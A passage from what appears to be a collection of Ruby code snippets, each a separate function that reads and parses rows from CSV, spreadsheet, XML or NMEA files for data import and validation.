row['LASID']\n fullname_text = row['Student Name']\n return nil if local_id_text == '' && fullname_text == '' # blank row\n student_id = @matcher.find_student_id_with_exact_or_fuzzy_match(local_id_text, fullname_text)\n return nil if student_id.nil?\n\n # timestamp, just used import time since it's not in the sheet\n form_timestamp = @time_now\n\n # look for service names\n found_service_type_names = find_service_type_names(row)\n\n # time range is coarse, whole school year\n date_started = SchoolYear.first_day_of_school_for_year(@school_year)\n discontinued_at = SchoolYear.last_day_of_school_for_year(@school_year)\n found_service_type_names.map do |service_type_name|\n service_type = ServiceType.find_by(name: service_type_name)\n {\n student_id: student_id,\n recorded_by_educator_id: @recorded_by_educator.id,\n service_type_id: service_type.id,\n recorded_at: form_timestamp,\n date_started: date_started,\n estimated_end_date: discontinued_at,\n discontinued_at: discontinued_at,\n discontinued_by_educator_id: @recorded_by_educator.id,\n provided_by_educator_name: nil,\n service_upload_id: nil\n }\n end\n end", "def each(_skip = nil, &block)\n @sheet.rowIterator.each(&block)\n end", "def _each\n require 'nokogiri'\n require 'cgi'\n \n # save this to a local var because we modify it in the loop\n current_headers = headers\n\n unless row_css or row_xpath\n raise ::ArgumentError, \"[remote_table] Need :row_css or :row_xpath in order to process XML or HTML\"\n end\n \n xml = nokogiri_class.parse(unescaped_xml_without_soft_hyphens, nil, RemoteTable::EXTERNAL_ENCODING)\n (row_css ? xml.css(row_css) : xml.xpath(row_xpath)).each do |row|\n some_value_present = false\n values = if column_css\n row.css column_css\n elsif column_xpath\n row.xpath column_xpath\n else\n [row]\n end.map do |cell|\n memo = cell.content.dup\n memo = assume_utf8 memo\n memo = RemoteTable.normalize_whitespace memo\n if not some_value_present and not keep_blank_rows and memo.present?\n some_value_present = true\n end\n memo\n end\n if current_headers == :first_row\n current_headers = values.select(&:present?)\n next\n end\n if keep_blank_rows or some_value_present\n if not headers\n yield values\n else\n yield zip(current_headers, values)\n end\n end\n end\n ensure\n local_copy.cleanup\n end", "def each(&block)\n file_handle.each do |line|\n yield headers.zip(line.chomp!.split(col_sep, -1)).to_h\n end\n end", "def each_row(batch = ETL::Batch.new)\n log.debug(\"Reading from CSV input file #{file_name}\")\n @rows_processed = 0\n ::CSV.foreach(file_name, csv_options) do |row_in|\n # Row that maps name => value\n row = {}\n\n # If we weren't given headers then we use what's in the file\n if headers.nil?\n # We have a hash - OK we'll use it\n if row_in.respond_to?(:to_hash)\n row = row_in.to_hash\n # We have an array - use numbers as the keys\n elsif row_in.respond_to?(:to_a)\n ary = row_in.to_a\n ary.each_index do |i|\n row[i] = ary[i]\n end\n # Error out since we don't know how to process this\n else\n raise ETL::InputError, \"Input row class #{row_in.class} needs to be a hash or array\"\n end\n # if we were given the headers to use then we just need to grab the\n # values out of whatever we have\n else\n values = row_in.kind_of?(::CSV::Row) ? row_in.fields : row_in.to_a\n\n if headers.length != values.length\n raise ETL::InputError, \"Must have the same number of headers #{headers.length} \" + \n \"and values #{values.length}\"\n end\n\n # match up headers and values\n (0...headers.length).each do |i|\n row[headers[i]] = values[i]\n end\n end\n\n # now we apply our header map if we have one\n @headers_map.each do |name, new_name|\n if row.has_key?(name)\n # remap old name to new name\n row[new_name] = row[name]\n row.delete(name)\n else\n raise ETL::InputError, \"Input row does not have expected column '#{name}'\"\n end\n end\n\n transform_row!(row)\n yield row\n @rows_processed += 1\n end\n end", "def readSheet(service)\r\n print \"Retrieving FC members from spreadsheet... \"\r\n # Retrieve Current FC members data from spreadsheet\r\n spreadsheet_id = \"1i09Ey3KFzvJENkToV1o5bSh89AML85fW6cz0o0IMgI0\"\r\n range = \"Members (Condensed)!A2:I\"\r\n response = service.get_spreadsheet_values spreadsheet_id, range\r\n\r\n sheetMembers = Hash.new\r\n response.values.each do |row|\r\n data = OpenStruct.new\r\n data.Name = row[0]\r\n data.Rank = row[2]\r\n\r\n # Dates should be in format of MM/DD/YYYY. Empty entries will be flagged.\r\n data.Date = row[5]\r\n if data.Date == \"\"\r\n data.Date = row[4]\r\n end\r\n if data.Date != \"\"\r\n data.Date = data.Date.split(\"/\")\r\n data.Date = DateTime.parse(\"#{data.Date[2]}-#{data.Date[0]}-#{data.Date[1]}\")\r\n end\r\n\r\n data.ID = row[8].to_i\r\n sheetMembers[data.ID] = data\r\n end\r\n puts \"Finished.\"\r\n\r\n return sheetMembers\r\nend", "def each\n rewind\n return self.enum_for(:each) unless block_given?\n csv.each do |row|\n next unless out = convert_row(row)\n yield(out)\n end\n end", "def load_row_data(headers, row)\n # Hash of field values\n fields = {}\n\n # List of alternate spellings found in current row\n alt_spellings = []\n\n # Related words for current row\n see_also = []\n\n # List of hashes of source data for current row\n sources = []\n\n # Loop through the cells in the row\n row.each_with_index do |field_value, col_index|\n # Skip empty cells\n next unless field_value\n\n # Remove leading/trailing whitespace from field value\n field_value = field_value.strip\n\n # Get current header\n header = headers[col_index]\n\n if header.start_with? 'headword'\n headword_data = headword_data field_value\n fields = fields.merge headword_data\n next\n end\n\n if header.start_with? 'altspelling'\n alt_spellings << field_value\n next\n end\n\n if header.start_with? 'source'\n match = self.class.source_header_regex.match header\n\n # Get source number i.e. source1\n source_num = match[1].to_i - 1 # Subtract 1 since CSV vals are 1-based, and arrays are 0-based\n\n # Ref/original_ref/date/place\n source_component = match[2]\n\n # Find or create source record for current source\n current_source = sources[source_num] ||= {}\n\n # Add current field to source obj\n current_source[source_component.to_sym] = field_value\n current_source[:source_num] = source_num\n next\n end\n\n if header == 'see also'\n current_see_also = see_also_from_string field_value\n see_also += current_see_also\n next\n end\n\n # No match, so just add as is\n fields[header.to_sym] = field_value\n end\n\n # Fields that are handled specially\n special_fields = { alt_spellings: alt_spellings, see_also: see_also, sources: sources }\n\n # Add special fields to all others\n all_fields = special_fields.merge fields\n\n all_fields\n end", "def shift\n #########################################################################\n ### This method is purposefully kept a bit long as simple conditional ###\n ### checks are faster than numerous (expensive) method calls. ###\n #########################################################################\n\n # handle headers not based on document content\n if header_row? and @return_headers and\n [Array, String].include? @use_headers.class\n if @unconverted_fields\n return add_unconverted_fields(parse_headers, Array.new)\n else\n return parse_headers\n end\n end\n\n #\n # it can take multiple calls to <tt>@io.gets()</tt> to get a full line,\n # because of \\r and/or \\n characters embedded in quoted fields\n #\n in_extended_col = false\n csv = Array.new\n\n loop do\n # add another read to the line\n unless parse = @io.gets(@row_sep)\n return nil\n end\n\n if in_extended_col\n @line.concat(parse)\n else\n @line = parse.clone\n end\n\n begin\n parse.sub!(@parsers[:line_end], \"\")\n rescue ArgumentError\n unless parse.valid_encoding?\n message = \"Invalid byte sequence in #{parse.encoding}\"\n raise MalformedCSVError.new(message, lineno + 1)\n end\n raise\n end\n\n if csv.empty?\n #\n # I believe a blank line should be an <tt>Array.new</tt>, not Ruby 1.8\n # HBCSV's <tt>[nil]</tt>\n #\n if parse.empty?\n @lineno += 1\n if @skip_blanks\n next\n elsif @unconverted_fields\n return add_unconverted_fields(Array.new, Array.new)\n elsif @use_headers\n return self.class::Row.new(@headers, Array.new)\n else\n return Array.new\n end\n end\n end\n\n next if @skip_lines and @skip_lines.match parse\n\n parts = parse.split(@col_sep_split_separator, -1)\n if parts.empty?\n if in_extended_col\n csv[-1] << @col_sep # will be replaced with a @row_sep after the parts.each loop\n else\n csv << nil\n end\n end\n\n # This loop is the hot path of csv parsing. Some things may be non-dry\n # for a reason. Make sure to benchmark when refactoring.\n parts.each do |part|\n if in_extended_col\n # If we are continuing a previous column\n if part.end_with?(@quote_char) && part.count(@quote_char) % 2 != 0\n # extended column ends\n csv.last << part[0..-2]\n if csv.last.match?(@parsers[:stray_quote])\n raise MalformedCSVError.new(\"Missing or stray quote\",\n lineno + 1)\n end\n csv.last.gsub!(@double_quote_char, @quote_char)\n in_extended_col = false\n else\n csv.last << part << @col_sep\n end\n elsif part.start_with?(@quote_char)\n # If we are starting a new quoted column\n if part.count(@quote_char) % 2 != 0\n # start an extended column\n csv << (part[1..-1] << @col_sep)\n in_extended_col = true\n elsif part.end_with?(@quote_char)\n # regular quoted column\n csv << part[1..-2]\n if csv.last.match?(@parsers[:stray_quote])\n raise MalformedCSVError.new(\"Missing or stray quote\",\n lineno + 1)\n end\n csv.last.gsub!(@double_quote_char, @quote_char)\n elsif @liberal_parsing\n csv << part\n else\n raise MalformedCSVError.new(\"Missing or stray quote\",\n lineno + 1)\n end\n elsif part.match?(@parsers[:quote_or_nl])\n # Unquoted field with bad characters.\n if part.match?(@parsers[:nl_or_lf])\n message = \"Unquoted fields do not allow \\\\r or \\\\n\"\n raise MalformedCSVError.new(message, lineno + 1)\n else\n if @liberal_parsing\n csv << part\n else\n raise MalformedCSVError.new(\"Illegal quoting\", lineno + 1)\n end\n end\n else\n # Regular ole unquoted field.\n csv << (part.empty? ? nil : part)\n end\n end\n\n # Replace tacked on @col_sep with @row_sep if we are still in an extended\n # column.\n csv[-1][-1] = @row_sep if in_extended_col\n\n if in_extended_col\n # if we're at eof?(), a quoted field wasn't closed...\n if @io.eof?\n raise MalformedCSVError.new(\"Unclosed quoted field\",\n lineno + 1)\n elsif @field_size_limit and csv.last.size >= @field_size_limit\n raise MalformedCSVError.new(\"Field size exceeded\",\n lineno + 1)\n end\n # otherwise, we need to loop and pull some more data to complete the row\n else\n @lineno += 1\n\n # save fields unconverted fields, if needed...\n unconverted = csv.dup if @unconverted_fields\n\n if @use_headers\n # parse out header rows and handle HBCSV::Row conversions...\n csv = parse_headers(csv)\n else\n # convert fields, if needed...\n csv = convert_fields(csv)\n end\n\n # inject unconverted fields and accessor, if requested...\n if @unconverted_fields and not csv.respond_to? :unconverted_fields\n add_unconverted_fields(csv, unconverted)\n end\n\n # return the results\n break csv\n end\n end\n end", "def process\n lines = clean_lines\n\n # Peek ahead to get the headers\n unless @file_content.blank?\n CSV.parse(@file_content, {:headers => true, :skip_blanks => true}) do |row|\n @rows_exist = true\n @headers = row.headers\n break\n end\n end\n\n @rows_exist = @rows_exist and !@headers.blank?\n end", "def each_row\n @sheet.rowIterator.each { |row| yield row }\n end", "def read\n prev_hash = nil\n\n CSV.open(nmea_file, 'r').each do |row|\n timestamp = Time.strptime(\"#{row[9]} #{row[1]}\", '%d%m%y %H%M%S.%L')\n next if timestamp.year < 1990\n\n speed = (row[7].to_f * 1.852).round(2)\n bb = row[8].to_f\n\n lat, lon = geo_convert(\n lat_source: row[3],\n lon_source: row[5],\n sw: row[4],\n ww: row[6]\n )\n\n hash = {\n timestamp: timestamp.strftime(TIME_FORMAT),\n bb: bb,\n speed: speed,\n lat: lat,\n lon: lon\n }\n\n if prev_hash.nil? || hash != prev_hash\n check_bounds lat, lon if lat && lon\n yield hash\n end\n\n prev_hash = hash\n end\n end", "def test_skip_empty_rows\n @sheet = File.read(\"test/files/empty-row-skip.xml\")\n\n rows = []\n\n collector = proc do |row|\n rows << row\n end\n\n first_columns = [\"0\", \"1\", nil, nil, \"2\"]\n\n (0..5).each do |row_skip|\n rows = []\n handler = Xsv::SheetRowsHandler.new(:array, ([nil] * 10), @workbook, row_skip, 6, &collector)\n handler.parse(@sheet)\n assert_equal first_columns[row_skip..-1], rows.map(&:first)\n end\n end", "def parse_headers!(block)\n headers.each { |header| block.call(header.key, parse_value(header.value)) }\n end", "def cell_reader j, cell, attrs\n attrs[@headers[j]] = cell.cell_to_string if @headers[j] =~ /name/\n attrs[@headers[j]] = cell.cell_to_date if @headers[j] =~ /published_date/\n attrs[@headers[j]] = cell.cell_to_array if ['platforms', 'genres', 'tags'].include? @headers[j]\n end", "def process_hash_row(hsh)\n if @headers.any?\n keys_or_values = hsh.values\n @row_id = hsh[:row_id]\n else\n keys_or_values = hsh.keys.map(&:to_s)\n end\n\n file_line = keys_or_values.join(',')\n validated_line = utf_filter(check_utf(file_line))\n res = line_parse(validated_line)\n res\n end", "def process\n # Load each row element\n 2.upto(@rows).each do |row_index|\n ActiveRecord::Base.transaction do\n begin\n load_data row: @spreadsheet.row(row_index)\n\n rescue => e\n add_error message: e.message, backtrace: e.backtrace, row_index: row_index, data: @spreadsheet.row(row_index)\n\n raise ActiveRecord::Rollback\n end\n end\n end\n end", "def read_headers\n # @return [ActsAsTable::Headers::Array]\n headers = @row_model.to_headers\n\n # @return [Boolean]\n eof = false\n\n # @return [Array<Array<String>, nil>]\n rows = ::Array.new(headers.size) { |index|\n row, eof = *self.read_row\n\n unless row.nil?\n row += ::Array.new(headers[index].size - row.size) { nil }\n end\n\n row\n }\n\n if rows.any?(&:nil?)\n raise ActsAsTable::HeadersNotFound.new(\"#{self.class}#read_headers - must exist\")\n end\n\n unless [headers, rows].transpose.all? { |pair| pair[0] == pair[1] }\n raise ActsAsTable::InvalidHeaders.new(\"#{self.class}#read_headers - invalid\")\n end\n\n [rows, eof]\n end", "def read(rows)\n row = rows[0]\n\n index_of_first_non_blank = row.index { |cell| ! ExcelManipulator.blank?(cell) }\n @sample_name = ProductAnalysisScanner.zenkaku2hankaku(row[index_of_first_non_blank] )\n @sample_name = @sample_name .remove_spaces_including_zenkaku if @sample_name\n @sample_name_sub = ProductAnalysisScanner.zenkaku2hankaku(rows[1][index_of_first_non_blank])\n @sample_name_sub = @sample_name_sub.remove_spaces_including_zenkaku if @sample_name_sub\n\n is_success = read_completion_specs(rows)\n return is_success && ! @reservoir_name.empty?\n end", "def read_cells(sheet = default_sheet)\n validate_sheet!(sheet)\n return if @cells_read[sheet]\n\n sheet_found = false\n doc.xpath(\"//*[local-name()='table']\").each do |ws|\n next unless sheet == attribute(ws, 'name')\n\n sheet_found = true\n col = 1\n row = 1\n ws.children.each do |table_element|\n case table_element.name\n when 'table-column'\n @style_defaults[sheet] << table_element.attributes['default-cell-style-name']\n when 'table-row'\n if table_element.attributes['number-rows-repeated']\n skip_row = attribute(table_element, 'number-rows-repeated').to_s.to_i\n row = row + skip_row - 1\n end\n table_element.children.each do |cell|\n skip_col = attribute(cell, 'number-columns-repeated')\n formula = attribute(cell, 'formula')\n value_type = attribute(cell, 'value-type')\n v = attribute(cell, 'value')\n style_name = attribute(cell, 'style-name')\n case value_type\n when 'string'\n str_v = ''\n # insert \\n if there is more than one paragraph\n para_count = 0\n cell.children.each do |str|\n # begin comments\n #=begin\n #- <table:table-cell office:value-type=\"string\">\n # - <office:annotation office:display=\"true\" draw:style-name=\"gr1\" draw:text-style-name=\"P1\" svg:width=\"1.1413in\" svg:height=\"0.3902in\" svg:x=\"2.0142in\" svg:y=\"0in\" draw:caption-point-x=\"-0.2402in\" draw:caption-point-y=\"0.5661in\">\n # <dc:date>2011-09-20T00:00:00</dc:date>\n # <text:p text:style-name=\"P1\">Kommentar fuer B4</text:p>\n # </office:annotation>\n # <text:p>B4 (mit Kommentar)</text:p>\n # </table:table-cell>\n #=end\n if str.name == 'annotation'\n str.children.each do |annotation|\n next unless annotation.name == 'p'\n # @comment ist ein Hash mit Sheet als Key (wie bei @cell)\n # innerhalb eines Elements besteht ein Eintrag aus einem\n # weiteren Hash mit Key [row,col] und dem eigentlichen\n # Kommentartext als Inhalt\n @comment[sheet] = Hash.new unless @comment[sheet]\n key = [row, col]\n @comment[sheet][key] = annotation.text\n end\n end\n # end comments\n if str.name == 'p'\n v = str.content\n str_v += \"\\n\" if para_count > 0\n para_count += 1\n if str.children.size > 1\n str_v += children_to_string(str.children)\n else\n str.children.each do |child|\n str_v += child.content #.text\n end\n end\n str_v = str_v.gsub(/&apos;/, \"'\") # special case not supported by unescapeHTML\n str_v = CGI.unescapeHTML(str_v)\n end # == 'p'\n end\n when 'time'\n cell.children.each do |str|\n v = str.content if str.name == 'p'\n end\n when '', nil, 'date', 'percentage', 'float'\n #\n when 'boolean'\n v = attribute(cell, 'boolean-value').to_s\n end\n if skip_col\n if !v.nil? || cell.attributes['date-value']\n 0.upto(skip_col.to_i - 1) do |i|\n set_cell_values(sheet, col, row, i, v, value_type, formula, cell, str_v, style_name)\n end\n end\n col += (skip_col.to_i - 1)\n end # if skip\n set_cell_values(sheet, col, row, 0, v, value_type, formula, cell, str_v, style_name)\n col += 1\n end\n row += 1\n col = 1\n end\n end\n end\n doc.xpath(\"//*[local-name()='automatic-styles']\").each do |style|\n read_styles(style)\n end\n\n fail RangeError unless sheet_found\n\n @cells_read[sheet] = true\n @comments_read[sheet] = true\n end", "def read_cell_date_or_time(row, idx)\n cell = read_cell_content(row, idx)\n cell = cell.to_s.to_f\n if cell < 1.0\n value_type = :time\n f = cell * 24.0 * 60.0 * 60.0\n secs = f.round\n h = (secs / 3600.0).floor\n secs = secs - 3600 * h\n m = (secs / 60.0).floor\n secs = secs - 60 * m\n s = secs\n value = h * 3600 + m * 60 + s\n else\n datetime = row.send(:_datetime, cell)\n\n if datetime.hour != 0 ||\n datetime.min != 0 ||\n datetime.sec != 0\n value_type = :datetime\n value = datetime\n else\n value_type = :date\n value = row.send(:_date, cell)\n end\n end\n\n [value_type, value]\n end", "def perform_spreadsheet_load( file_name, options = {} )\n\n @mandatory = options[:mandatory] || []\n\n @excel = Spreadsheet.open file_name\n \n puts \"\\nLoading from Excel file: #{file_name}\"\n\n sheet_number = options[:sheet_number] || 0\n\n @sheet = @excel.sheet( sheet_number )\n\n header_row_index = options[:header_row] || 0\n @header_row = @sheet.getRow(header_row_index)\n\n raise MissingHeadersError, \"No headers found - Check Sheet #{@sheet} is complete and Row #{header_row_index} contains headers\" unless(@header_row)\n\n @headers = []\n \n (0..JExcelFile::MAX_COLUMNS).each do |i|\n cell = @header_row.getCell(i)\n break unless cell\n header = \"#{@excel.cell_value(cell).to_s}\".strip\n break if header.empty?\n @headers << header\n end\n\n raise MissingHeadersError, \"No headers found - Check Sheet #{@sheet} is complete and Row #{header_row_index} contains headers\" if(@headers.empty?)\n\n # Create a method_mapper which maps list of headers into suitable calls on the Active Record class\n map_headers_to_operators( @headers, options)\n\n load_object_class.transaction do\n @loaded_objects = []\n\n (1..@excel.num_rows).collect do |row|\n\n # Excel num_rows seems to return all 'visible' rows, which appears to be greater than the actual data rows\n # (TODO - write spec to process .xls with a huge number of rows)\n #\n # This is rubbish but currently manually detect when actual data ends, this isn't very smart but\n # got no better idea than ending once we hit the first completely empty row\n break if @excel.sheet.getRow(row).nil?\n\n contains_data = false\n\n # TODO - Smart sorting of column processing order ....\n # Does not currently ensure mandatory columns (for valid?) processed first but model needs saving\n # before associations can be processed so user should ensure mandatory columns are prior to associations\n\n # as part of this we also attempt to save early, for example before assigning to\n # has_and_belongs_to associations which require the load_object has an id for the join table\n\n # Iterate over the columns method_mapper found in Excel,\n # pulling data out of associated column\n @method_mapper.method_details.each_with_index do |method_detail, col|\n\n value = value_at(row, col)\n\n contains_data = true unless(value.nil? || value.to_s.empty?)\n\n #puts \"DEBUG: Excel process METHOD :#{method_detail.inspect}\", value.inspect\n prepare_data(method_detail, value)\n \n process()\n end\n \n break unless(contains_data == true)\n\n # TODO - requirements to handle not valid ?\n # all or nothing or carry on and dump out the exception list at end\n #puts \"DEBUG: FINAL SAVE #{load_object.inspect}\"\n save\n #puts \"DEBUG: SAVED #{load_object.inspect}\"\n\n # don't forget to reset the object or we'll update rather than create\n new_load_object\n\n end\n end\n puts \"Spreadsheet loading stage complete - #{loaded_objects.size} rows added.\"\n end", "def process_rows!\n # Correct incorrect rows in the table\n table.each do |row|\n row_metric = row[\"metric\"] # perf optimization\n # TODO inject Saikuro reference\n if row_metric == :saikuro\n fix_row_file_path!(row)\n end\n tool_tables[row_metric] << row\n file_tables[row[\"file_path\"]] << row\n class_tables[row[\"class_name\"]] << row\n method_tables[row[\"method_name\"]] << row\n end\n end", "def read_cells(sheet = default_sheet)\n validate_sheet!(sheet)\n return if @cells_read[sheet]\n\n ws = worksheets[sheets.index(sheet)]\n for row in 1..ws.num_rows\n for col in 1..ws.num_cols\n read_cell_row(sheet, ws, row, col)\n end\n end\n @cells_read[sheet] = true\n end", "def rows\n return enum_for(:rows) unless block_given?\n\n safe_path = SafeFile.safepath_to_string(@filename)\n\n # By now, we know `encodings` should let us read the whole\n # file succesfully; if there are problems, we should crash.\n CSVLibrary.foreach(safe_path, encodings(safe_path)) do |line|\n yield line.map(&:to_s)\n end\n end", "def each\n\t\t\t@csv_contents.each { |csv_row| yield CsvRow.new(csv_row, @headers) } \n\t\t\tnil\n\t\tend", "def read_cell_content(row, idx)\n cell = row.at(idx)\n if cell.class == ::Spreadsheet::Formula\n # Formulas oftentimes lose type information\n cell = cell.value.to_f rescue cell.value\n cell = cell.to_i if (cell.to_f % 1).zero? rescue cell\n end\n\n cell\n end", "def each(&block)\n @opts[:offset] ? super{|r| r.delete(row_number_column); yield r} : super(&block)\n end", "def compute_csv_data\n row_count = 0\n csv_row_number = 0\n csv_data = []\n CSV.foreach(self.file.path, headers: true) do |row|\n # Transform row to hash\n row = row.to_hash\n # Normalize it\n row = normalize_row(row)\n # Increment row number\n csv_row_number += 1\n\n # PRECOMPUTE\n row = precompute_row(row, csv_row_number) # row[:csv_row_number] = csv_row_number AND initialize errors and array fields as arrays\n\n # store the valid_row result\n valid_row = valid_row?(row)\n\n # tranform raw row hash into a intermediate (more concise) information OR put in rejected data\n if valid_row\n csv_data << compute_row(row)\n else\n @rejected_user_data << row\n end\n if !self.limit.zero? && valid_row\n row_count += 1\n if row_count >= self.limit\n break\n end\n end\n end\n # Save original CSV data for post-processing report\n @original_csv_data = csv_data\n end", "def columnheaders_raw\r\n columns = Array(raw_data_sheet.row(0)).compact\r\n columns = columns.collect!{ |col| clean_string(col) } unless columns.nil?\r\n columns\r\n end", "def each_row\n return enum_for(__method__) unless block_given?\n yield codec.decode( io ) until io.eof?\n end", "def read\n rows = to_a\n if @use_headers\n Table.new(rows)\n else\n rows\n end\n end", "def transform(lines, &block)\n return enum_for(:transform, lines) unless block\n\n self.non_tabular_lines = ensure_utf8_enum!(lines)\n remove_unwanted_lines\n\n super(read_non_tabular_array, &block)\n end", "def process_row_or_nil(row)\n # match student by id first, fall back to name\n local_id_text = row['LASID']\n fullname_text = row['Student Name']\n return nil if local_id_text == '' && fullname_text == '' # blank row\n student_id = @matcher.find_student_id_with_exact_or_fuzzy_match(local_id_text, fullname_text)\n return nil if student_id.nil?\n\n # find counselor if we can, if not fall back to default_educator\n educator_id = try_counselor_field_or_fallback(row)\n\n # timestamp, just used import time since it's not in the sheet\n form_timestamp = @time_now\n\n # default\n event_note_type_id = 304\n\n # form text from checkboxes and note\n text_lines = read_text_lines(row)\n return nil if text_lines.size == 0\n\n {\n student_id: student_id,\n educator_id: educator_id,\n is_restricted: true,\n text: text_lines.join(\"\\n\"),\n event_note_type_id: event_note_type_id,\n recorded_at: form_timestamp\n }\n end", "def getValidListingsFromExcel\n # get all values the rows below the attribute row\n parse_args = {}\n @excel_attributes_raw.each{ |x_attr| parse_args[x_attr.to_sym] = x_attr }\n @listing_data = @import_file.parse(parse_args)\n\n # transform excel data\n data = []\n @listing_data.each_with_index do |row, j| \n data << {}\n\n row.each do |field|\n if j == 0\n data[j][field[0].to_s.downcase.gsub(\" \", \"_\").to_sym] = field[1].downcase.gsub(\" \", \"_\")\n else\n if field[1].class.to_s == \"String\"\n da = field[1].gsub(\"<html>\", \"\").gsub(\"</html>\", \"\")\n else\n da = field[1]\n end\n data[j][field[0].to_s.downcase.gsub(\" \", \"_\").to_sym] = da\n end\n end\n end\n @listing_data = data\n\n # delete columns which are not valid\n @listing_data[0].each_with_index do |header_row_element, index|\n unless @valid_attributes.map{|el| el[:name]}.include?(header_row_element[1])\n @listing_data.each_with_index do |data_rows, ii|\n data_rows.delete(header_row_element[0]) if ii > 0\n end\n @listing_data[0].delete(header_row_element[0])\n end\n end\n end", "def info_hash(row_index)\n if @spreadsheet.row(row_index).nil? or @spreadsheet.row(row_index).compact.empty?\n return nil\n else\n parsed_data = {}\n\n begin\n parsed_data[:name] = @spreadsheet.cell(row_index, 1).present? ? @spreadsheet.cell(row_index, 1).to_s : raise\n parsed_data[:code] = @spreadsheet.cell(row_index, 2).to_s\n parsed_data[:position] = @spreadsheet.cell(row_index, 3).to_s\n parsed_data[:area] = @spreadsheet.cell(row_index, 4).to_s\n parsed_data[:world] = @spreadsheet.cell(row_index, 5).to_s\n rescue\n return nil\n end\n\n return parsed_data\n end\n end", "def rows\n @rows ||= star_file.sheets.first.rows\n end", "def populate_matrix_with_row_headers\n create_empty_array\n collect_row_headers\n replace_row_helpers\nend", "def process_row(row_hash = nil)\n #This allows the processing of a single row\n if (!row_hash.nil?)\n @row_hash = row_hash\n end\n err_arr = []\n begin\n # Check that the archival object ref id exists\n ref_id = @row_hash[\"ref_id\"]\n if ref_id.nil?\n err_arr.push I18n.t(\"top_container_linker.error.ref_id_miss\", :row_num => @counter.to_s)\n raise BulkImportException.new(err_arr.join(\"; \"))\n else\n #Check that the AO can be found in the db\n ao = archival_object_from_ref(ref_id.strip)\n if (ao.nil?)\n err_arr.push I18n.t(\"top_container_linker.error.ao_not_in_db\", :ref_id => ref_id.to_s, :row_num => @counter.to_s)\n end\n end\n\n ead_id = @row_hash[\"ead_id\"]\n if ead_id.nil?\n err_arr.push I18n.t(\"top_container_linker.error.ead_id_miss\", :ref_id => ref_id.to_s, :row_num => @counter.to_s)\n else\n #Check that the AO can be found in the db\n resource = resource_from_ref(ead_id.strip)\n if (resource.nil?)\n err_arr.push I18n.t(\"top_container_linker.error.resource_not_in_db\", :ead_id => ead_id.to_s, :row_num => @counter.to_s)\n elsif (resource.uri != @resource_ref)\n err_arr.push I18n.t(\"top_container_linker.error.resources_do_not_match\", :spreadsheet_resource => resource.uri, :ead_id => ead_id.to_s, :current_resource => @resource_ref, :row_num => @counter.to_s)\n end\n end\n\n #Check that the instance type exists\n instance_type = @row_hash[\"instance_type\"]\n if instance_type.nil?\n err_arr.push I18n.t(\"top_container_linker.error.instance_type_miss\", :ref_id => ref_id.to_s, :row_num => @counter.to_s)\n end\n retval = value_check(@instance_types, instance_type, [])\n if (retval == nil)\n err_arr.push I18n.t(\"top_container_linker.error.instance_type_does_not_exist\", :instance_type => instance_type, :ref_id => ref_id.to_s, :row_num => @counter.to_s)\n end\n\n #Check that either the Top Container Indicator or Top Container Record No. is present\n tc_indicator = @row_hash[\"top_container_indicator\"]\n tc_record_no = @row_hash[\"top_container_id\"]\n #Both missing\n if (tc_indicator.nil? && tc_record_no.nil?)\n err_arr.push I18n.t(\"top_container_linker.error.tc_indicator_and_record_no_miss\", :ref_id => ref_id.to_s, :row_num => @counter.to_s)\n end\n #Both exist\n if (!tc_indicator.nil? && !tc_record_no.nil?)\n err_arr.push I18n.t(\"top_container_linker.error.tc_indicator_and_record_no_exist\", :ref_id => ref_id.to_s, :row_num => @counter.to_s)\n end\n\n if (!tc_record_no.nil?)\n begin\n tc_obj = TopContainer.get_or_die(tc_record_no.strip.to_i)\n rescue NotFoundException\n tc_obj = nil\n end\n if tc_obj.nil?\n #Cannot find TC record with ID\n err_arr.push I18n.t(\"top_container_linker.error.tc_record_no_missing\", :tc_id=> tc_record_no, :ref_id => ref_id.to_s, :row_num => @counter.to_s)\n end\n end\n\n #Container type/Container indicator combo already exists\n tc_type = @row_hash[\"top_container_type\"]\n if (!tc_indicator.nil? && !tc_type.nil?)\n type_id = BackendEnumSource.id_for_value(\"container_type\", tc_type.strip)\n tc_exists = indicator_and_type_exist_for_resource?(ead_id, tc_indicator, type_id)\n if (tc_exists)\n err_arr.push I18n.t(\"top_container_linker.error.tc_ind_ct_exists\", :indicator=> tc_indicator, :tc_type=> tc_type, :ead_id => ead_id, :ref_id => ref_id.to_s, :row_num => @counter.to_s)\n end\n end\n\n #Check if the barcode already exists in the db (fail if so)\n barcode = @row_hash[\"top_container_barcode\"]\n if (!barcode.nil?)\n tc_obj = find_top_container({:barcode => barcode.strip})\n if (!tc_obj.nil?)\n err_arr.push I18n.t(\"top_container_linker.error.tc_barcode_exists\", :barcode=> barcode, :ref_id => ref_id.to_s, :row_num => @counter.to_s)\n elsif barcode_differs_from_prev_tc?(tc_indicator, tc_type, barcode)\n err_arr.push I18n.t(\"top_container_linker.error.tc_barcode_differs\", :barcode=> barcode, :type=>tc_type, :indicator=> tc_indicator, :ref_id => ref_id.to_s, :row_num => @counter.to_s)\n else\n add_tc_bc(tc_indicator, tc_type, barcode)\n end\n end\n\n\n #Check if the barcode_2 already exists in the db (fail if so).\n #This will be put in place when Harvard's code is merged\n barcode_2 = @row_hash[\"child_barcode\"]\n child_type = @row_hash[\"child_type\"]\n child_indicator = @row_hash[\"child_indicator\"]\n if (!barcode_2.nil?)\n sc_obj = sub_container_from_barcode(barcode_2.strip)\n if (!sc_obj.nil?)\n err_arr.push I18n.t(\"top_container_linker.error.sc_barcode_exists\", :barcode=> barcode_2, :ref_id => ref_id.to_s, :row_num => @counter.to_s)\n elsif (!child_type.nil? && !child_indicator.nil?)\n if barcode_differs_from_prev_tc?(child_indicator, child_type, barcode_2, true)\n err_arr.push I18n.t(\"top_container_linker.error.sc_barcode_differs\", :barcode=> barcode_2, :type=>child_type, :indicator=>child_indicator, :ref_id => ref_id.to_s, :row_num => @counter.to_s)\n end\n add_tc_bc(child_indicator, child_type, barcode_2, true)\n end\n end\n\n #Check if the location ID can be found in the db\n loc_id = @row_hash[\"location_id\"]\n if (!loc_id.nil?)\n begin\n loc = Location.get_or_die(loc_id.strip.to_i)\n rescue NotFoundException\n loc = nil\n end\n if (loc.nil?)\n err_arr.push I18n.t(\"top_container_linker.error.loc_not_in_db\", :loc_id=> loc_id.to_s, :ref_id => ref_id.to_s, :row_num => @counter.to_s)\n end\n end\n\n #Check if Container Profile Record No. can be found in the db\n cp_id = @row_hash[\"container_profile_id\"]\n if (!cp_id.nil?)\n begin\n cp = ContainerProfile.get_or_die(cp_id.strip.to_i)\n rescue NotFoundException\n cp = nil\n end\n if (cp.nil?)\n err_arr.push 